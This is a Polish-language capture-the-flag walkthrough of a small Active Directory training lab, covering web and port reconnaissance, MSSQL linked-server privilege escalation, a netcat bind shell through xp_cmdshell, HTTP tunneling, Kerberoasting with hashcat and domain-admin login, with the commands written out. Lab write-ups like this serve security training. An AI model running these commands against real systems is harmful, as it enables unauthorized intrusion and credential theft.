
W tym artykule omówimy przejście nie tylko maszyny, ale całej mini-laboratoriów z platformy .
Jak opisano, P.O.O. jest przeznaczony do testowania umiejętności na wszystkich etapach ataków w małym środowisku Active Directory. Celem jest przejęcie dostępnego hosta, podniesienie uprawnień i ostatecznie skompromitowanie całej domeny, zbierając przy tym 5 flag.
Połączenie z laboratorium odbywa się przez VPN. Zaleca się, aby nie łączyć się z komputerem roboczym lub hostem, gdzie znajdują się ważne dla Ciebie dane, ponieważ wchodzisz do prywatnej sieci z ludźmi, którzy mają pewne umiejętności w zakresie bezpieczeństwa informacji 🙂
Informacje organizacyjne
Abyście mogli poznawać nowe artykuły, oprogramowanie i inne informacje, stworzyłem i w dziedzinie ITE CB. Również Wasze osobiste prośby, pytania, sugestie i zalecenia .
Wszystkie informacje przedstawione są wyłącznie w celach edukacyjnych. Autor tego dokumentu nie ponosi żadnej odpowiedzialności za jakiekolwiek szkody wyrządzone komukolwiek w wyniku wykorzystania wiedzy i metod uzyskanych w wyniku studiowania tego dokumentu.
Intro
Ten endgame składa się z dwóch maszyn i zawiera 5 flag.

Otrzymasz także opis oraz adres dostępnego hosta.

Zaczynamy!
Recon flag
Ta maszyna ma adres IP 10.13.38.11, który dodaję do /etc/hosts.
10.13.38.11 poo.htb
Pierwszym krokiem jest skanowanie otwartych portów. Ponieważ skanowanie wszystkich portów za pomocą nmapa zajmuje dużo czasu, najpierw zrobię to za pomocą masscan. Skanujemy wszystkie porty TCP i UDP z interfejsu tun0 z prędkością 500 pakietów na sekundę.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Teraz, aby uzyskać bardziej szczegółowe informacje o usługach działających na portach, uruchomimy skanowanie z opcją -A.
nmap -A poo.htb -p80,1433 
W ten sposób mamy usługi IIS i MSSQL. Dowiadujemy się także rzeczywistej nazwy DNS domeny i komputera. Na serwerze WWW spotyka nas strona startowa IIS.

Zobaczmy, jakie są dostępne katalogi. Używam do tego gobustera. W parametrach podajemy liczbę wątków 128 (-t), URL (-u), słownik (-w) i interesujące nas rozszerzenia (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
W ten sposób mamy HTTP uwierzytelnianie dla katalogu /admin oraz dostępny plik do przechowywania usług .DS_Store. .DS_Store to pliki, w których przechowywane są ustawienia użytkownika dla folderu, takie jak lista plików, położenie ikon, wybrane tło. Taki plik może trafić do katalogu serwera WWW u programistów internetowych. W ten sposób możemy uzyskać informacje o zawartości katalogu. Można do tego użyć .
python3 dsstore_crawler.py -i http://poo.htb/ 
Otrzymujemy zawartość katalogu. Najciekawsze jest tutaj katalog /dev, z którego w dwóch gałęziach możemy zobaczyć źródła i pliki db. Mamy jednak możliwość zobaczenia pierwszych 6 znaków nazw plików i katalogów, jeśli serwis jest podatny na IIS ShortName. Aby sprawdzić tę podatność, możemy użyć .

I znajdujemy jeden plik tekstowy, który zaczyna się od „poo_co”. Nie wiedząc, co dalej zrobić, po prostu wybrałem z słownika katalogów wszystkie słowa zaczynające się na „co”.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtI przeszukamy za pomocą wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
I znajdujemy odpowiednie słowo! Sprawdzamy ten plik, zapisujemy dane uwierzytelniające (sądząc po parametrze DBNAME, są one z MSSQL).

Zgłaszamy flagę i przechodzimy do 20%.

Huh flag
Łączymy się z MSSQL, używam DBeaver.

Nie znajdujemy nic interesującego w tej bazie, stwórzmy Edytor SQL i sprawdźmy, jacy są użytkownicy.
SELECT name FROM master..syslogins; 
Mamy dwóch użytkowników. Sprawdźmy swoje uprawnienia.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
W ten sposób nie mamy żadnych uprawnień. Sprawdźmy powiązane serwery, na ten temat szczegółowo pisałem. .
SELECT * FROM master..sysservers; 
Tak znajdujemy kolejny SQL Server. Sprawdźmy, jak działają komendy na tym serwerze za pomocą openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
I możemy nawet budować drzewo zapytań.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');W rzeczy samej, kiedy wykonujemy zapytanie na powiązanym serwerze, zapytanie to działa w kontekście innego użytkownika! Sprawdźmy, w kontekście jakiego użytkownika pracujemy na powiązanym serwerze.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
A teraz sprawdźmy, w jakim kontekście wykonywane są zapytania z powiązanego serwera na nasz!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
W ten sposób jest to kontekst DBO, który powinien mieć wszystkie uprawnienia. Sprawdźmy uprawnienia w przypadku zapytania z powiązanego serwera.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Jak można zauważyć, mamy wszystkie uprawnienia! Stwórzmy więc naszego administratora. Ale przez openquery się nie udaje, zróbmy to przez EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";A teraz logujemy się jako nowy użytkownik i obserwujemy nową bazę danych flag.

Zbierz ten flag i idź dalej.

BackTrack flag
Zdobędziemy powłokę za pomocą MSSQL, używam mssqlclient z pakietu impacket.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Musimy zdobyć hasła, a pierwsze, co już spotkaliśmy, to strona internetowa. Tak więc potrzebujemy konfiguracji serwera webowego (nie udaje się wrzucić wygodnej powłoki, najwyraźniej działa firewall).

Jednak dostęp jest zabroniony. Chociaż możemy przeczytać plik z MSSQL, musimy tylko wiedzieć, jakie języki programowania są skonfigurowane. W katalogu MSSQL dowiadujemy się, że jest Python.

Wtedy przeczytanie pliku web.config nie stanowi problemu.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Z znalezionymi danymi logujemy się na /admin i zabieramy flag.


Foothold flag
W rzeczywistości użycie firewalla powoduje pewne niedogodności, ale przeglądając ustawienia sieci, zauważamy, że używana jest także protokoł IPv6!

Dodajemy ten adres do /etc/hosts.
dead:babe::1001 poo6.htb
Znowu przeskanujmy hosta, ale tym razem protokołem IPv6.

A przez IPv6 dostępna jest usługa WinRM. Połączmy się z znalezionymi danymi.

Na pulpicie znajduje się flag, oddajemy ją.

P00ned flag
Po przeprowadzeniu rekonesansu na hoście za pomocą nie znajdujemy nic szczególnego. Wtedy podjęto decyzję, aby ponownie poszukać danych (na ten temat też pisałem ). Ale nie udało mi się zdobyć wszystkich SPN z systemu przez WinRM.
setspn.exe -T intranet.poo -Q *F* 
Wykonajmy polecenie przez MSSQL.

W ten sposób uzyskujemy SPN użytkowników p00_hr i p00_adm, co oznacza, że są oni podatni na atak zwany Kerberoasting. Krótko mówiąc, możemy uzyskać hashe ich haseł.
Na początku musimy uzyskać stabilny shell jako użytkownik MSSQL. Jednak, ponieważ mamy ograniczony dostęp, możemy komunikować się z hostem tylko przez porty 80 i 1433. Istnieje jednak możliwość tunelowania ruchu przez port 80! W tym celu użyjemy . Prześlijmy plik tunnel.aspx do katalogu domowego serwera WWW — C:inetpubwwwroot.

Jednak przy próbie dostępu do niego otrzymujemy błąd 404. Oznacza to, że pliki *.aspx nie są wykonywane. Aby pliki z tym rozszerzeniem mogły być wykonywane, zainstalujemy ASP.NET 4.5 w następujący sposób.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
I teraz, przy dostępie do tunnel.aspx, otrzymujemy odpowiedź, że wszystko jest gotowe do pracy.
![]()
Uruchommy część kliencką aplikacji, która zajmie się retransmisją ruchu. Będziemy przekierowywać cały ruch z portu 5432 na serwer.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
I użyjemy proxychains, aby przesyłać ruch z dowolnej aplikacji przez nasz proxy. Dodamy to proxy do pliku konfiguracyjnego /etc/proxychains.conf.

Teraz prześlijmy na serwer program , za pomocą którego zrealizujemy stabilny bind shell, oraz skrypt , którego użyjemy do przeprowadzenia ataku Kerberoasting.

Teraz uruchamiamy listenera przez MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
I łączymy się przez nasz proxy.
proxychains rlwrap nc poo.htb 4321 
A teraz zdobądźmy hashe.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt 
Następnie musimy przetestować te hashe. Ponieważ w słowniku rockyou nie było tych haseł, użyłem WSZYSTKICH słowników haseł, które zostały dostarczone w Seclists. Do łamania użyjemy hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceI znajdujemy oba hasła, pierwsze w słowniku dutch_passwordlist.txt, a drugie w Keyboard-Combinations.txt.


I tak mamy trzech użytkowników, idziemy do kontrolera domeny. Najpierw dowiedzmy się jego adresu.

Świetnie, poznaliśmy adres IP kontrolera domeny. Sprawdźmy teraz wszystkich użytkowników domeny oraz kto z nich jest administratorem. Pobierzmy skrypt do uzyskania informacji PowerView.ps1. Następnie połączymy się za pomocą evil-winrm, podając w parametrze -s katalog ze skryptem. A potem po prostu załadujemy skrypt PowerView.

Teraz mamy dostęp do wszystkich jego funkcji. Użytkownik p00_adm wydaje się być uprzywilejowany, więc będziemy działać w jego kontekście. Utworzymy obiekt PSCredential dla tego użytkownika.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassTeraz wszystkie polecenia PowerShell, w których wskażemy Creds, będą wykonywane w imieniu p00_adm. Wyświetlmy listę użytkowników i atrybut AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
Więc nasz użytkownik naprawdę jest uprzywilejowany. Sprawdźmy, w jakich grupach się znajduje.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Ostatecznie upewniamy się, że użytkownik jest administratorem domeny. Daje mu to prawo do zdalnego logowania się do kontrolera domeny. Spróbujmy zalogować się przez WinRM, używając naszego tunelu. Zaskoczyły mnie błędy generowane przez reGeorg'a podczas korzystania z evil-winrm.

W takim razie skorzystajmy z innego, prostszego, aby połączyć się z WinRM. Otworzymy i zmienimy ustawienia połączenia.

Próbujemy połączyć się i jesteśmy w systemie.

Ale flagi nie ma. Zobacz więc, kto jest użytkownikiem i sprawdźmy pulpity.

U mr3ks znajdujemy flagę i laboratorium ukończone w 100%.

To wszystko. W ramach informacji zwrotnej, skomentujcie – czy dowiedzieliście się czegoś nowego z tego artykułu i czy był on dla Was przydatny.
Możecie dołączyć do nas w . Tam znajdziecie interesujące materiały, udostępnione kursy oraz oprogramowanie. Stwórzmy społeczność, w której będą ludzie znający się na wielu dziedzinach IT, abyśmy zawsze mogli sobie nawzajem pomóc w wszelkich kwestiach IT i bezpieczeństwa.
Źródło: habr.com
